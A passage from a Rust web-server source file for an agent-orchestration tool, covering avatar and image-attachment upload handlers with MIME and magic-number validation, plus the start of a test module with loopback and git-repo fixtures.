10889        "/avatars/magi?v={}",
10890        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10891    )
10892}
10893
10894async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10895    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10896}
10897
10898#[derive(Deserialize)]
10899struct MagiIconUpload {
10900    icon: String,
10901}
10902
10903fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10904    save_icon_file(&magi_icon_path(home), icon)
10905}
10906
10907fn validate_uploaded_icon(icon: &str) -> Result<()> {
10908    if !icon.starts_with("data:") {
10909        anyhow::bail!("upload a raster image");
10910    }
10911    let (mime, bytes) = persona_icon::load(icon)?;
10912    if sniffed_mime(&bytes) != Some(mime) {
10913        anyhow::bail!("image content does not match its type");
10914    }
10915    Ok(())
10916}
10917
10918fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10919    validate_uploaded_icon(icon)?;
10920    atomic_icon_write(path, icon)
10921}
10922
10923fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10924    let home = path.parent().expect("icon parent");
10925    std::fs::create_dir_all(home)?;
10926    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10927    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10928    let result = (|| -> Result<()> {
10929        use std::io::Write;
10930        let mut file = std::fs::OpenOptions::new()
10931            .write(true)
10932            .create_new(true)
10933            .open(&temp)?;
10934        file.write_all(icon.as_bytes())?;
10935        file.sync_all()?;
10936        std::fs::rename(&temp, path)?;
10937        Ok(())
10938    })();
10939    let _ = std::fs::remove_file(temp);
10940    result?;
10941    Ok(())
10942}
10943
10944async fn magi_icon_put(
10945    State(ui): State<Arc<Ui>>,
10946    Json(upload): Json<MagiIconUpload>,
10947) -> ApiResult<Json<serde_json::Value>> {
10948    blocking(move || {
10949        if !upload.icon.starts_with("data:") {
10950            return Err(ApiError::bad_request("upload a raster image"));
10951        }
10952        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10953        if sniffed_mime(&bytes) != Some(mime) {
10954            return Err(ApiError::bad_request(
10955                "image content does not match its type",
10956            ));
10957        }
10958        save_magi_icon(&ui.home, &upload.icon)?;
10959        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10960    })
10961    .await
10962}
10963
10964async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10965    blocking(move || {
10966        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10967            Ok(()) => (),
10968            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10969            Err(e) => return Err(anyhow::Error::from(e).into()),
10970        }
10971        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10972    })
10973    .await
10974}
10975
10976async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10977    let icon = (q.builtin.is_none())
10978        .then(|| read_magi_icon(&ui.home))
10979        .flatten();
10980    let mut response = match icon
10981        .as_deref()
10982        .and_then(|icon| persona_icon::load(icon).ok())
10983    {
10984        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10985            attachment_response(mime, bytes)
10986        }
10987        _ => svg_avatar(persona_icon::magi_svg()),
10988    };
10989    response
10990        .headers_mut()
10991        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10992    response
10993}
10994
10995/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10996/// operator's raster `icon` when it resolves and its bytes agree with its
10997/// type, the built-in SVG otherwise. Display only; every failure is a warning
10998/// and the built-in avatar, never an error response.
10999async fn talk_avatar(
11000    State(ui): State<Arc<Ui>>,
11001    Path(id): Path<String>,
11002    Query(q): Query<AvatarQuery>,
11003) -> ApiResult<Response> {
11004    blocking(move || {
11005        let id = resolve_talk(&ui.talks, &id)?;
11006        let talk = ui.talks.get(&id)?;
11007        let wanted = q
11008            .persona
11009            .as_deref()
11010            .map(str::trim)
11011            .filter(|p| !p.is_empty())
11012            .unwrap_or(&talk.persona)
11013            .to_owned();
11014        let specs = match Config::discover(&talk.repo, None) {
11015            Ok((cfg, _)) => cfg.talk.personas,
11016            Err(e) => {
11017                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11018                Vec::new()
11019            }
11020        };
11021        let found = persona::find(&specs, &wanted);
11022        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11023        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11024        let icon = effective_persona_icon(
11025            &ui.home,
11026            &wanted,
11027            found.as_ref().and_then(|p| p.icon.as_deref()),
11028        );
11029        if found.is_none() && icon.is_none() {
11030            return Ok(builtin_avatar(persona::DEFAULT_ID));
11031        }
11032        let Some(icon) = icon
11033            .as_deref()
11034            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11035        else {
11036            return Ok(builtin_avatar(&wanted));
11037        };
11038        let Some(found) = found else {
11039            return Ok(raster_or_builtin(
11040                Some(icon),
11041                persona_icon::builtin_svg(&wanted),
11042            ));
11043        };
11044        match persona_icon::load(icon) {
11045            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11046                let mut res = attachment_response(mime, bytes);
11047                res.headers_mut().insert(
11048                    header::CACHE_CONTROL,
11049                    header::HeaderValue::from_static("no-cache"),
11050                );
11051                Ok(res)
11052            }
11053            Ok((mime, _)) => {
11054                tracing::warn!(
11055                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11056                    found.id
11057                );
11058                Ok(builtin_avatar(&found.id))
11059            }
11060            Err(e) => {
11061                tracing::warn!(
11062                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11063                    found.id
11064                );
11065                Ok(builtin_avatar(&found.id))
11066            }
11067        }
11068    })
11069    .await
11070}
11071
11072/// Validate an attachment upload's declared `Content-Type` and the bytes
11073/// themselves, returning the canonical mime on success.
11074///
11075/// Two checks, both required: the header has to name one of
11076/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11077/// simply never in the list, active content rather than a picture, the same
11078/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11079/// magic number has to agree. The second is what stops a mislabeled upload -
11080/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11081/// a declared type is a claim, not a fact, so it is never trusted alone.
11082fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11083    if data.len() > ATTACHMENT_MAX_BYTES {
11084        return Err(ApiError::bad_request(format!(
11085            "attachment is {} bytes, over the {} MiB limit",
11086            data.len(),
11087            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11088        ))
11089        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11090    }
11091    if data.is_empty() {
11092        return Err(ApiError::bad_request("attachment is empty"));
11093    }
11094    let declared = declared_mime(headers)?;
11095    match sniffed_mime(data) {
11096        Some(sniffed) if sniffed == declared => Ok(declared),
11097        Some(sniffed) => Err(ApiError::bad_request(format!(
11098            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11099        ))),
11100        None => Err(ApiError::bad_request(
11101            "the file's bytes do not match any accepted image format",
11102        )),
11103    }
11104}
11105
11106/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11107/// and nothing else - parameters like `; charset=` are stripped, but the
11108/// value itself is not otherwise interpreted.
11109fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11110    let raw = headers
11111        .get(header::CONTENT_TYPE)
11112        .and_then(|v| v.to_str().ok())
11113        .unwrap_or("")
11114        .split(';')
11115        .next()
11116        .unwrap_or("")
11117        .trim()
11118        .to_ascii_lowercase();
11119    ATTACHMENT_MIME_WHITELIST
11120        .iter()
11121        .find(|&&m| m == raw)
11122        .copied()
11123        .ok_or_else(|| {
11124            if raw == "image/svg+xml" {
11125                ApiError::bad_request(
11126                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11127                     not just a picture",
11128                )
11129            } else if raw.is_empty() {
11130                ApiError::bad_request("Content-Type is required for an attachment upload")
11131            } else {
11132                ApiError::bad_request(format!(
11133                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11134                     image/gif or image/webp"
11135                ))
11136            }
11137        })
11138}
11139
11140/// Identify an image by its magic number, independent of whatever
11141/// `Content-Type` claimed.
11142fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11143    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11144        Some("image/png")
11145    } else if data.starts_with(b"\xff\xd8\xff") {
11146        Some("image/jpeg")
11147    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11148        Some("image/gif")
11149    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11150        Some("image/webp")
11151    } else {
11152        None
11153    }
11154}
11155
11156/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11157/// display - see [`talk::Attachment::name`]'s doc on why it never
11158/// contributes to a path. A missing or blank header (curl without it, an
11159/// older front end) falls back to a generic name rather than refusing the
11160/// upload over a field that is cosmetic.
11161fn filename_header(headers: &HeaderMap) -> String {
11162    headers
11163        .get(FILENAME_HEADER)
11164        .and_then(|v| v.to_str().ok())
11165        .map(str::trim)
11166        .filter(|s| !s.is_empty())
11167        .unwrap_or("attachment")
11168        .to_owned()
11169}
11170
11171/// Every attachment `GET` response: the mime re-validated against the same
11172/// closed whitelist the upload route enforces - never the string trusted
11173/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11174/// cannot decide it knows better than the type we send. Unlike a panel asset
11175/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11176/// document renders inline, not agent-authored HTML in a sandboxed frame.
11177fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11178    let content_type = ATTACHMENT_MIME_WHITELIST
11179        .iter()
11180        .find(|&&m| m == mime)
11181        .copied()
11182        .unwrap_or("application/octet-stream");
11183    (
11184        [
11185            (header::CONTENT_TYPE, content_type),
11186            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11187        ],
11188        body,
11189    )
11190        .into_response()
11191}
11192
11193/// The configuration for a repository, read off the disk for this request.
11194///
11195/// Through [`blocking`] because discovery reads and merges several TOML files,
11196/// and because the alternative - caching it in [`Ui`] at startup - would mean
11197/// the operator's phone kept interviewing with a roster they had already
11198/// changed, with no way to reload it but restarting the server they are not
11199/// sitting in front of.
11200async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11201    let repo = repo.to_path_buf();
11202    blocking(move || {
11203        let (cfg, _) = Config::discover(&repo, None)?;
11204        Ok(cfg)
11205    })
11206    .await
11207}
11208
11209/// The one prefix rule, used for both runs and tasks: a leading match for a
11210/// full id, a trailing match for the short form an operator reads off a
11211/// report. Written here rather than borrowed from `queue::resolve_id` because
11212/// the UI needs the two failures as different status codes, and telling them
11213/// apart from an error message is not something to build a route on.
11214fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11215    let mut hits = ids
11216        .into_iter()
11217        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11218    match (hits.next(), hits.next()) {
11219        (Some(one), None) => Ok(one),
11220        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11221        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11222            "`{prefix}` matches more than one {what}, including {a} and {b}"
11223        ))),
11224    }
11225}
11226
11227#[cfg(test)]
11228mod tests {
11229
11230    #[test]
11231    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11232        let dir = tempfile::tempdir().unwrap();
11233        let store = ask::Questions::at(dir.path().join("questions"));
11234        let mut q = Question::new(
11235            "task".to_owned(),
11236            "conduct".to_owned(),
11237            "conduct".to_owned(),
11238            "choose".to_owned(),
11239            String::new(),
11240            vec!["keep".to_owned()],
11241        );
11242        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11243        q.say("why?").unwrap();
11244        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11245        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11246        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11247        store.put(&mut q).unwrap();
11248        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11249        assert_eq!(store.count_needs_owner(), 1);
11250        store.beat(&q.id, ask::WaiterKind::Deputy);
11251        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11252        assert_eq!(store.count_needs_owner(), 0);
11253        let mut stale = store.read_lease(&q.id).unwrap();
11254        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11255        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11256        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11257        assert!(view.deputy_exhausted);
11258        assert!(view.waiting_on_agent);
11259        assert_eq!(view.question.choices, ["keep"]);
11260        store.drop_lease(&q.id);
11261        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11262        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11263    }
11264
11265    #[test]
11266    fn holder_reads_the_lease_not_the_record() {
11267        let mut q = Question::new(
11268            "run".to_owned(),
11269            "implement".to_owned(),
11270            "impl-A".to_owned(),
11271            "which?".to_owned(),
11272            String::new(),
11273            Vec::new(),
11274        );
11275        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11276        q.cwd = Some("/tmp".to_owned());
11277        assert_eq!(holder_of(&q, None), Some("nobody"));
11278        let beat = |kind, ago: i64| ask::Lease {
11279            kind,
11280            pid: 1,
11281            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11282                .unwrap(),
11283        };
11284        let fresh = beat(ask::WaiterKind::Asker, 1);
11285        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11286        let daemon = beat(ask::WaiterKind::Daemon, 1);
11287        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11288        let stale = beat(ask::WaiterKind::Asker, 3600);
11289        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11290
11291        // A conductor question says "deputy" only while one is attached and
11292        // alive, and "nobody" - never silence - when nothing ever listened.
11293        let mut c = Question::new(
11294            "task".to_owned(),
11295            crate::conduct::NODE.to_owned(),
11296            "conduct".to_owned(),
11297            "which?".to_owned(),
11298            String::new(),
11299            Vec::new(),
11300        );
11301        assert_eq!(holder_of(&c, None), Some("nobody"));
11302        c.cwd = Some("/tmp".to_owned());
11303        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11304        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11305        let deputy = beat(ask::WaiterKind::Deputy, 1);
11306        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11307        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11308
11309        // A release-watch question: nobody until a deputy is attached.
11310        let mut r = Question::new(
11311            String::new(),
11312            crate::bump::NOTICE_NODE.to_owned(),
11313            "release-watch".to_owned(),
11314            "stuck?".to_owned(),
11315            String::new(),
11316            vec!["hold".to_owned()],
11317        );
11318        assert_eq!(holder_of(&r, None), Some("nobody"));
11319        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11320        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11321        // A choice-less bump notice is nobody's question at all.
11322        r.deputy = None;
11323        r.seat = "bump".to_owned();
11324        assert_eq!(holder_of(&r, None), None);
11325
11326        // A merge approval is the same: nobody until a deputy is attached
11327        // and alive, never a silent "no holder".
11328        let mut m = Question::new(
11329            "run".to_owned(),
11330            crate::land::APPROVAL_NODE.to_owned(),
11331            "land".to_owned(),
11332            "merge?".to_owned(),
11333            String::new(),
11334            Vec::new(),
11335        );
11336        assert_eq!(holder_of(&m, None), Some("nobody"));
11337        assert_eq!(
11338            holder_of(&m, Some(&fresh)),
11339            Some("asker"),
11340            "a live explicit wait is a listener even before a deputy is attached"
11341        );
11342        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11343        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11344        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11345        assert_eq!(holder_of(&m, None), Some("nobody"));
11346    }
11347
11348    fn stub_config() -> Config {
11349        // An explicit roster, so the result never depends on which agent CLIs
11350        // this machine has installed.
11351        Config {
11352            agents: vec![crate::config::AgentSpec {
11353                id: "stub".to_owned(),
11354                kind: AgentKind::Command,
11355                model: None,
11356                command: vec!["true".to_owned()],
11357                extra_args: Vec::new(),
11358                env: Default::default(),
11359                prompt_delivery: None,
11360                max_turn_secs: None,
11361            }],
11362            ..Config::default()
11363        }
11364    }
11365
11366    fn plain_question(seat: &str) -> Question {
11367        Question::new(
11368            String::new(),
11369            "n".to_owned(),
11370            seat.to_owned(),
11371            "s".to_owned(),
11372            String::new(),
11373            Vec::new(),
11374        )
11375    }
11376
11377    #[test]
11378    fn deputies_enabled_follows_the_config() {
11379        let on = stub_config();
11380        assert!(crate::deputy::can_start(Some(&on), ""));
11381        assert!(crate::deputy::can_start(Some(&on), "stub"));
11382        let mut off = on.clone();
11383        off.daemon.max_deputies = 0;
11384        assert!(!crate::deputy::can_start(Some(&off), ""));
11385        let mut empty = on;
11386        empty.agents.clear();
11387        assert!(!crate::deputy::can_start(Some(&empty), ""));
11388        assert!(!crate::deputy::can_start(None, ""));
11389    }
11390
11391    #[test]
11392    fn question_views_load_the_config_once() {
11393        let dir = TempDir::new().unwrap();
11394        let store = ask::Questions::at(dir.path().to_path_buf());
11395        let mut with_deputy = plain_question("b");
11396        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11397        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11398
11399        let calls = std::cell::Cell::new(0usize);
11400        let views = question_views(qs.clone(), &store, || {
11401            calls.set(calls.get() + 1);
11402            Some(stub_config())
11403        });
11404        assert_eq!(calls.get(), 1);
11405        assert_eq!(views.len(), 3);
11406        for (v, q) in views.iter().zip(&qs) {
11407            assert_eq!(
11408                v.deputies_enabled,
11409                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11410            );
11411        }
11412
11413        let views = question_views(qs, &store, || None);
11414        assert!(views.iter().all(|v| !v.deputies_enabled));
11415
11416        let calls = std::cell::Cell::new(0usize);
11417        let views = question_views(Vec::new(), &store, || {
11418            calls.set(calls.get() + 1);
11419            None
11420        });
11421        assert!(views.is_empty());
11422        assert_eq!(calls.get(), 0);
11423    }
11424
11425    use pretty_assertions::assert_eq;
11426    use serde_json::Value;
11427    use tempfile::TempDir;
11428    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11429
11430    use super::*;
11431    use crate::config::Config;
11432    use crate::queue::Source;
11433
11434    /// How many 10ms steps a settle loop takes before it calls a stall a
11435    /// stall - thirty seconds.
11436    ///
11437    /// These loops wait on real `sh` subprocesses, and the machine that runs
11438    /// the gate runs several suites at once, so a two-second budget was not
11439    /// waiting for the reply, it was racing the scheduler: two of these
11440    /// tests failed under that load with the turn simply not landed yet.
11441    /// This is a hang guard, not a latency assertion - every loop breaks the
11442    /// moment its condition holds, so a generous cap costs an idle machine
11443    /// nothing and still fails a genuine hang instead of hanging the suite.
11444    const SETTLE_STEPS: usize = 3_000;
11445
11446    /// A home with a queue and a runs directory, and a router serving it on
11447    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11448    /// dependency, not ours - so the tests drive a real socket, which has the
11449    /// side benefit of asserting the status line and content types the phone
11450    /// actually receives.
11451    struct Fixture {
11452        home: TempDir,
11453        addr: SocketAddr,
11454    }
11455
11456    impl Fixture {
11457        async fn start() -> Self {
11458            Self::with_loop(launch_idle).await
11459        }
11460
11461        /// A fixture whose loop is `launch`.
11462        async fn with_loop(launch: Launch) -> Self {
11463            let home = TempDir::new().expect("temp home");
11464            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11465            Self { home, addr }
11466        }
11467
11468        /// A fixture whose `ui.repo` is a real directory rather than the
11469        /// usual placeholder - for the routes that read config off it
11470        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11471        async fn with_repo(repo: PathBuf) -> Self {
11472            let home = TempDir::new().expect("temp home");
11473            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11474            Self { home, addr }
11475        }
11476
11477        /// As [`Fixture::with_repo`], with the machine-config file the
11478        /// settings screen reads and writes.
11479        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11480            let home = TempDir::new().expect("temp home");
11481            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11482            Self { home, addr }
11483        }
11484
11485        async fn serve(
11486            home: &FsPath,
11487            repo: PathBuf,
11488            launch: Launch,
11489            machine: Option<PathBuf>,
11490        ) -> SocketAddr {
11491            let queue = Queue::at(home.join("queue"));
11492            let runs = home.join("runs");
11493            std::fs::create_dir_all(&runs).expect("runs dir");
11494            let worktrees = home.join("wt").join("magi");
11495            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11496            let ui = Ui::new(
11497                queue,
11498                Questions::at(home.join("questions")),
11499                Talks::at(home.join("talks")),
11500                runs,
11501                home.to_path_buf(),
11502                repo,
11503            )
11504            .with_worktrees_root(worktrees)
11505            .with_machine_config(machine)
11506            .with_launch(launch);
11507            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11508                .await
11509                .expect("bind loopback");
11510            let addr = listener.local_addr().expect("local addr");
11511            tokio::spawn(async move {
11512                let router = ui
11513                    .router()
11514                    .layer(axum::middleware::from_fn(request_cost::observe));
11515                let _ = axum::serve(listener, router).await;
11516            });
11517            addr
11518        }
11519
11520        fn queue(&self) -> Queue {
11521            Queue::at(self.home.path().join("queue"))
11522        }
11523
11524        fn questions(&self) -> Questions {
11525            Questions::at(self.home.path().join("questions"))
11526        }
11527
11528        fn talks(&self) -> Talks {
11529            Talks::at(self.home.path().join("talks"))
11530        }
11531
11532        fn runs(&self) -> PathBuf {
11533            self.home.path().join("runs")
11534        }
11535
11536        async fn get(&self, path: &str) -> Res {
11537            request(self.addr, "GET", path, None).await
11538        }
11539
11540        /// The status and headers without the body, which is how the front end
11541        /// preflights a panel: a sandboxed frame is opaque to the parent
11542        /// document, so the only way to tell "no panel" from "a panel that
11543        /// rendered blank" is to ask before mounting.
11544        async fn head(&self, path: &str) -> Res {
11545            request(self.addr, "HEAD", path, None).await
11546        }
11547
11548        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11549            request(self.addr, "POST", path, body).await
11550        }
11551
11552        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11553            request_with(self.addr, "GET", path, None, extra).await
11554        }
11555
11556        async fn delete(&self, path: &str) -> Res {
11557            request(self.addr, "DELETE", path, None).await
11558        }
11559
11560        async fn put(&self, path: &str, body: &str) -> Res {
11561            request(self.addr, "PUT", path, Some(body)).await
11562        }
11563
11564        /// `POST` a raw body with its own headers - see [`request_bytes`].
11565        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11566            request_bytes(self.addr, path, headers, body).await
11567        }
11568    }
11569
11570    /// Real tracking refs exercise the successful discovery path (including
11571    /// extraction), rather than counting cheap failures on a placeholder repo.
11572    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11573        let tmp = TempDir::new().unwrap();
11574        let mut repos = Vec::new();
11575        for name in ["one", "two"] {
11576            let repo = tmp.path().join(name);
11577            let origin = tmp.path().join(format!("{name}.git"));
11578            std::fs::create_dir_all(&repo).unwrap();
11579            crate::git::git(&repo, &["init", "-b", "main"])
11580                .await
11581                .unwrap();
11582            std::fs::write(
11583                repo.join("magi.toml"),
11584                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11585            )
11586            .unwrap();
11587            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11588            crate::git::git(
11589                &repo,
11590                &[
11591                    "-c",
11592                    "user.name=fixture",
11593                    "-c",
11594                    "user.email=fixture@example.invalid",
11595                    "commit",
11596                    "-m",
11597                    "fixture",
11598                ],
11599            )
11600            .await
11601            .unwrap();
11602            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11603                .await
11604                .unwrap();
11605            crate::git::git(
11606                &repo,
11607                &["remote", "add", "origin", origin.to_str().unwrap()],
11608            )
11609            .await
11610            .unwrap();
11611            crate::git::git(&repo, &["push", "origin", "main"])
11612                .await
11613                .unwrap();
11614            crate::git::git(
11615                &repo,
11616                &[
11617                    "symbolic-ref",
11618                    "refs/remotes/origin/HEAD",
11619                    "refs/remotes/origin/main",
11620                ],
11621            )
11622            .await
11623            .unwrap();
11624            let (cfg, _) = Config::discover(&repo, None).unwrap();
11625            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11626            repos.push(repo);
11627        }
11628        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11629        (tmp, repos)
11630    }
11631
11632    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11633        let (tmp, repos) = performance_repositories().await;
11634        let machine = tmp.path().join("machine.toml");
11635        std::fs::write(&machine, "").unwrap();
11636        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11637        (tmp, repos, fx)
11638    }
11639
11640    fn seed_performance(
11641        fx: &Fixture,
11642        repos: &[PathBuf; 2],
11643        questions: usize,
11644        runs: usize,
11645        items: usize,
11646    ) {
11647        // Saving states directly never starts a run or changes MAGI_HOME.
11648        for i in fx.questions().list().len()..questions {
11649            let mut question = Question::new(
11650                "20261001-000000-0000".into(),
11651                "implement".into(),
11652                "impl-A".into(),
11653                format!("question {i}"),
11654                "context".into(),
11655                vec!["yes".into(), "no".into()],
11656            );
11657            question.id = format!("20261003-000000-{i:04x}");
11658            fx.questions().put(&mut question).unwrap();
11659        }
11660        for i in run_ids(&fx.runs()).len()..runs {
11661            write_run_repo(
11662                &fx.runs(),
11663                &format!("20261001-000000-{i:04x}"),
11664                RunStatus::Ready,
11665                repos[i % 2].to_str().unwrap(),
11666            );
11667        }
11668        for i in fx.talks().list().len()..items {
11669            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11670            let mut talk = fx.talks().get(&id).unwrap();
11671            talk.repo = repos[i % 2].clone();
11672            fx.talks().put(&mut talk).unwrap();
11673            let mut task = crate::queue::Task::new(
11674                format!("task {i}"),
11675                "instruction".into(),
11676                repos[i % 2].clone(),
11677                crate::queue::Source::Agent {
11678                    run: id,
11679                    node: crate::queue::CHAT_NODE.into(),
11680                },
11681            );
11682            task.id = format!("20261004-000000-{i:04x}");
11683            fx.queue().put(&mut task).unwrap();
11684            // Notices has a production retention cap; seed up to that cap.
11685            if i < crate::notices::CAP {
11686                Notices::at(fx.home.path().join("notifications"))
11687                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11688                    .unwrap();
11689            }
11690        }
11691        assert_eq!(fx.questions().list().len(), questions);
11692        assert_eq!(run_ids(&fx.runs()).len(), runs);
11693        assert_eq!(fx.talks().list().len(), items);
11694        assert_eq!(fx.queue().list().len(), items);
11695        assert_eq!(
11696            Notices::at(fx.home.path().join("notifications"))
11697                .list()
11698                .len(),
11699            items.min(crate::notices::CAP)
11700        );
11701    }
11702
11703    #[tokio::test]
11704    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11705        let home = TempDir::new().unwrap();
11706        let root = home.path().canonicalize().unwrap();
11707        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11708        let fx = Fixture { home, addr };
11709        let repo = root.as_path().join("archive-repo");
11710        std::fs::create_dir(&repo).unwrap();
11711        crate::git::git(&repo, &["init", "-b", "main"])
11712            .await
11713            .unwrap();
11714        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11715            .await
11716            .unwrap();
11717        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11718            .await
11719            .unwrap();
11720        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11721            .await
11722            .unwrap();
11723        std::fs::write(repo.join("source"), "base").unwrap();
11724        crate::git::git(&repo, &["add", "."]).await.unwrap();
11725        crate::git::git(&repo, &["commit", "-m", "base"])
11726            .await
11727            .unwrap();
11728        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11729        std::fs::write(repo.join("source"), "archived review").unwrap();
11730        crate::git::git(&repo, &["commit", "-am", "review"])
11731            .await
11732            .unwrap();
11733        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11734        let mut config = Config::default();
11735        config.graph.worktree_root = Some(root.as_path().join("copies"));
11736        let mut state = RunState::new(
11737            repo.clone(),
11738            "main".into(),
11739            base.clone(),
11740            "archive".into(),
11741            config,
11742        );
11743        state.id = "20260101-000000-ef05".into();
11744        state.status = RunStatus::Ready;
11745        state.save_under(root.as_path()).unwrap();
11746        let evidence =
11747            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11748                .await
11749                .unwrap();
11750        let base_evidence =
11751            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11752                .await
11753                .unwrap();
11754        let source = state.worktree_root().join("review-1");
11755        let mut contents = std::collections::BTreeMap::new();
11756        contents.insert(
11757            repo.join("logs/HEAD"),
11758            format!("{base} {head} fixture\n").into_bytes(),
11759        );
11760        let record = serde_json::json!({
11761            "version":1, "run":state.id, "source":source, "head":head,
11762            "evidence":evidence, "admin":{}, "admin_contents":contents,
